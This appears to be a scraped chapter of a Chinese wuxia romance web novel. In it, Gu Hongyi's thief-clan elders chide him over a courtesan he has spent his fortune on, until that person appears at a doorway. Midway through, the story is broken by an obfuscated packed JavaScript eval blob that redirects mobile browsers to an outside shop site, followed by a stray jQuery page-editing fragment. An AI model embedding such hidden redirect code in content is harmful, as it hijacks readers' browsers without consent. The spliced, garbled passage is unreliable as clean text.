24. 骗人
    跛子刘相继一拍大腿,脸上的皱纹都耷拉下来,痛心疾首道,“你不是衰兰了。”

    古鸿意懵了懵,伸出食指指了指自己,“师叔,那我是谁。”

    跛子刘俨然义愤填膺,“你是第二个平沙雁,以后就改名叫——平沙二雁。”

    醉得意拍掌重复,“平沙二雁。”

    语罢,他捧腹大笑,觉得跛子刘真是个精妙之人。醉得意不禁打了个长长的酒嗝,喷了毒药师一脸熏熏的酒气,戳戳毒药师的胳膊肘,“哈哈哈。”

    毒药师淡淡地抹去脸上朦朦的酒气,有些笑不出来。

    “跛子刘,你的笑话也太冷了。”袖玲珑眉毛一挑,“咱们说正事。”

    袖玲珑长须之下表情并不明朗,但此时此刻,他那一双平日里无波澜的眼睛,却满是锋利的神色,他直直盯着古鸿意,厉声道,

    “小古,你就这么不爱惜自己的性命,让师兄们白白寒了心。”

    古鸿意垂眸,小声道,“师兄,对不起。”

    “真是活脱脱的第二个平沙雁。不,还要更让人头疼些。”袖玲珑冷哼一声,下了定论。

    跛子刘见状,反倒连忙摆摆手,他仍有些护犊子,又兴许平沙雁实在太过讨厌。

    “哎。小古……还是比平沙雁那个混账强一些的。”

    “怎么讲?”袖玲珑冷笑。

    跛子刘绘声绘色分析道,“平沙雁为了娶一个人,竟然敢跟江湖盟主梅一笑对着干,你看,这人真是个傻子。”

    袖玲珑点头表示肯定。

    闻言,醉得意也喷出一口熏熏的酒气,“没错。平沙雁如今在家被老婆打,出门被岳父打,他如意了!哼。”

    “对呀。这就是得罪了江湖联盟的下场。”跛子刘话锋一转,“你看咱们小古,就不至于像他一样——公然跟江湖联盟作对。”

    毒药师本如常淡淡地坐着,只是听大家说道,他本觉得跛子刘的分析有些道理,刚想点头,却敏锐地观察到:

    听到此话,古鸿意的表情好像有些复杂。

    黧黑的眼睛莫名闪烁了一下,才怔怔点头表示同意。

    “小古只是缺些钱嘛,又运气不好,碰见个晦气的梅一笑。你们看,孩子自己把钱给凑齐了,再无后顾之忧啦。”

    再无后顾之忧啦。跛子刘语气轻快。

    毒药师微微蹙眉,若没看错,古鸿意的嘴角微弱地抽了一下。

    跛子刘扬起一个舒舒畅畅的笑脸。他还是做不到嗔怪小古。

    那孩子受了那么重的伤,怎么能这时候去怪他呢。

    他想,小古那孩子呆愣愣的像一块铁,既不喜欢说话,也没什么爱好,一天天就知道剑、剑、白大侠……现在这样,也好。

    孩子长大了。

    跛子刘有些唏嘘,他从没想到过,小古这块小铁板,却是这样有情的柔软的人呢。

    衰兰,衰兰,天若有情天亦老。

    唉,为了一个人,不要命了去救风尘……跛子刘也说不清,这是件好事还是坏事。

    “梅一笑那个老混蛋,他那什么山河一剑……小古,还疼不疼?”跛子刘温声问道。

    提到古鸿意所受的山河一剑的创伤,强硬狠戾如袖玲珑,目光也饶是柔软了下来,落在古鸿意的腰腹上。

    “小古,你也不容易。让毒药师给你看看,春天暖起来,剑创发炎了可就不好了。”

    毒药师便走上前去,古鸿意乖乖的举起手臂,方便师兄检查伤口。

    毒药师从容的拆开他的衣襟,心中不忘赞叹一句,“喔,如此崭新的衣服。一个补丁都没有。”

    却又心说,“谁给小古包扎的,真真仔细,几乎间隔两个时辰便换一次新药与绷带。

    这样下来,那人应是守着小古,一夜未眠。他对小古,却真像有情。”

    毒药师一眼便清楚。

    毒药师稍稍垂眸,心中不禁多出几分思绪,最后,他只是无声叹气。

    三道十字型剑创赫然呈现在众人面前,已结成暗红的痂,渐渐淡去。

    跛子刘“哎呦”一声,便不管不顾地开始破口大骂:“你看看,对一个孩子下死手!梅一笑那个混蛋!”

    “等等。”袖玲珑蹙眉。

    “梅一笑的剑,落下的剑创不会是这个形状。”

    醉得意定睛一看,醉意都失了半分,“没错!当年咱们为了营救平沙雁,一齐对阵梅一笑,是我为平沙雁抗下一道山河一剑!”

    说着,醉得意兴冲冲扯开袖子,皱皱巴巴地胡乱挽上去,向众人展示那道陈年的剑创,“喏。”

    “小古,在汴京城门,跟你对战的,当真是江湖盟主梅一笑吗?”

    古鸿意蹙眉,指尖抚上腰腹的剑痕,仔细回忆后答:“不该有错的。他未戴面具,又率亲兵,其中还有他的关门弟子残月……残月不会跟错人。”

    很蹊跷。

    众人凝眉齐齐沉默许久,得不出结论。

    “罢了,不提这个了,这么多年过去,兴许梅一笑改了剑法呢。”跛子刘摇摇头,便要略过这个话头。

    “古鸿意。”跛子刘忽然又腾起一副痛心疾首的表情:

    “小古,你就这么见外,让师兄师叔看一眼你相中的人都不行?”

    醉得意又一拍大腿,一瞪双目,目眦尽裂状,张口便是婉转的:“我~把~你~藏~起~来~”

    袖玲珑冷笑,“你小子也玩金屋藏娇那一套了。”

    兜兜转转又回到这个话题。

    古鸿意垂眸,心中叹了口气,才在一片调侃兼气愤的眼神中开了口:

    “……他身子弱,不能惊着。”

    醉得意一拍大腿跳起,悲痛欲绝,“这话说的,你嫌师叔们吵?”

    “师叔,我没有……”

    “总之,不能让他见师兄、师叔们。”古鸿意认认真真。

    众人的表情逐渐由气愤变为怜悯。

    在一片“这孩子完蛋了”的眼神中,袖玲珑率先打破一众无语,斜斜瞟一眼神情坚定的古鸿意,冷哼一声,才悠悠道,

    “小古,师兄也是好意提点你——你不会被骗了吧?”

    古鸿意摇摇头,“我没什么可骗的。”

    “三百两黄金、三道山河一剑、一个绝世的衰兰送客手的名号……不都被此人全全骗去了么?”袖玲珑冷笑着,有些恨铁不成钢。

    古鸿意却神色淡然,眼眸一抬,亮晶晶的,“是我愿意,非他骗我。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631743|143580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>袖玲珑气极反笑,掐着眉心,“我还是不明白,小古,你为什么像着了魔一样……我的师弟一向纯纯粹粹,不会为了小情小爱糊涂成这个样子。”

    跛子刘也是叹气,“是呀,小古,师兄们也是担心你受骗。你长这么大,只是一门心思练武,心里哪有过这些情爱,依我看,区区一个汴京,把你的眼睛迷晕喽!”

    醉得意点点头,“我家小古顶多有点小迷信,从不会这样拎不清的。”

    “还有——”跛子刘声色一正,最重要的问题是:

    “你跟谁不学好,去逛青楼!”

    振聋发聩。

    盗帮众人赫然闹闹哄哄吵起来,“就是!”“怎么能去逛青楼呢!”“小古,不能学坏呀。”

    “那种鬼地方,有几个好人?又有多少真心?古鸿意,你看清楚。”

    “没错!绝对是被骗了。你也是昏了头……古鸿意,师兄们辛辛苦苦给你凑钱,是让你去一雪前耻,不是让你当个嫖客的!”

    “你当心就是被骗了!”

    一时之间,小小的厅堂沸反盈天。

    忽然,西厢房的梨花木大门,“吱”一声开出个不宽不窄的缝隙,恰好能看清人影。

    这声轻微的木制挤压声,本悄悄埋没在盗帮众人一声比一声高的吵闹中。

    白行玉轻轻点着门框,并不急于闪出身,只是先静静观察。只见小小的厅堂里灰尘被搅动地闹腾腾地涌动着,一群灰扑扑的人们围着一个鲜明的古鸿意。

    这些人穿的跟华山论剑时候的古鸿意一模一样,补丁累补丁,毛边复毛边,一群蝙蝠似的。

    灰蒙蒙的大家,眼睛却都亮晶晶的,说不出哪里,莫名像古鸿意。

    喔……

    瘸了腿的古鸿意。

    胡须长长的古鸿意。

    喝得脸红彤彤的古鸿意。

    表情似乎灵魂出窍的古鸿意。

    凭着这思路,他很快记住了这几个人,这应该就是古鸿意念叨着的师兄、师叔们。

    很好记。

    盗帮众人本一声塞一声高的叫着“受骗啦”“糊涂啊”之类的急躁语句,西厢房大门轻轻“吱”一声像一片轻柔的羽毛,落在了一片喧嚣中,让人被虚虚点了一下般,心头稍痒。

    当贼的,听力都极好。

    大家嘴上不忘继续吵着,却默默分了些神,给那道不宽不窄的缝隙,于是看见那里朦朦胧胧一道人影,搭着梨花木雕镂的门框。

    一只骨骼劲瘦、色泽青白的手。

    模模糊糊一条颀长的白。春光也正好投向那里,芍药、金围带的花影和人揉在一块,看得不是很清楚。

    看清,日光下彻,眼睛是琥珀色的,空空的透亮的琥珀。

    大家“受骗啦”“寒心啊”“糊涂呀”一类义愤填膺的话语,不自觉地一同缓了下来,静了下来。

    谁也说不清为什么。

    跛子刘依旧拽着袖玲珑的袖子,动作像定格了一般,皱纹又松松垮垮地耷拉下来。

    他现在提不起来什么攻讦小古的心情了。

    他很疑惑。

    跛子刘有些茫然的摇摇头,对袖玲珑说,

    “……我怎么看不懂,是谁骗谁了。”